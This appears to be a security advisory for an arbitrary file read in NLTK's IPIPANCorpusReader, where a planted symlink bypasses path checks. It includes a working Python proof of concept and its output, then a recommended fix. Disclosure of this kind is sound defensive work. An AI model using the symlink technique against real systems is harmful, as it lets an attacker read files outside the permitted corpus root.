PyPI · nltk
NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely
IPIPANCorpusReader (nltk/corpus/reader/ipipan.py) exposes public methods, channels(), domains(), categories(), and fileids(channels=...), that accept a caller supplied fileids list and read a file via a completely unprotected builtin open() call, with no nltk.pathsec involvement at all. A symlink placed inside the corpus root, with a name containing no separators or .., passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.
All four methods route through _get_tag():
def _get_tag(self, f, tag):
tags = []
with open(f) as infile: # builtin open(), no pathsec involvement
header = infile.read()
...
f arrives via _list_header_files() / _list_morph_files_by(), both of which call:
f.replace("morph.xml", "header.xml")
on the result of self.abspath(...) or self.abspaths(...). FileSystemPathPointer subclasses str, so .replace() returns a plain Python string, silently discarding the PathPointer wrapper. That plain string is handed straight to builtin open().
This is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (CorpusReader.open(), NKJPCorpusReader.add_root(), and the recent FramenetCorpusReader fix): those route file access through nltk.pathsec.validate_path(), at minimum the global, non-scoped check, before opening. Here, converting the PathPointer to a plain string before calling open() skips pathsec completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered nltk.data.path root.
Plain literal ../ traversal in the fileid is still blocked by FileSystemPathPointer.join(), so this is specifically the symlink variant, not a regression of the older, simpler traversal class.
Constructed the normal, documented way, fileids as a regex over file paths, so the reader auto-discovers whatever .xml files exist in its root with no special knowledge of the planted symlink.
import os
import tempfile
from nltk.corpus.reader.ipipan import IPIPANCorpusReader
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "ipipan")
os.makedirs(corpus_root)
with open(os.path.join(corpus_root, "real_morph.xml"), "w") as f:
f.write("<channel>legit</channel>")
secret_dir = os.path.join(root, "outside_ipipan_root")
os.makedirs(secret_dir)
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write("<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>")
os.symlink(secret_path, os.path.join(corpus_root, "evil_link.xml"))
reader = IPIPANCorpusReader(corpus_root, r".*\.xml")
print("Auto-discovered fileids:", sorted(reader.fileids()))
result = reader.channels(fileids=["evil_link.xml"])
print(result)
Actual output when run against current develop:
Auto-discovered fileids: ['evil_link.xml', 'real_morph.xml']
['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']
That content was read from secret_path, a file entirely outside corpus_root. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own fileids() listing, exactly as a real file would.
Verified separately that literal ../ traversal in the fileid is still rejected (ValueError: Traversal blocked), confirming this is specifically the symlink gap, not a broader regression.
SECURITY.md names "shared environments... multi-tenant pipelines" as the project's own stated threat model) plus a completely normal API call.import nltk and documented, programmatic usage (words(), sents(), channels(), etc.), not a demo or GUI tool.FramenetCorpusReader and NKJPCorpusReader.ipipan.py has never had security hardening applied, and has no dedicated test coverage at all.Route _get_tag() through nltk.pathsec.validate_path() with the corpus root as required_root, or through CorpusReader.open(), instead of converting the PathPointer to a plain string and calling builtin open() directly. The same fix pattern already applied to FramenetCorpusReader and NKJPCorpusReader applies directly here.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.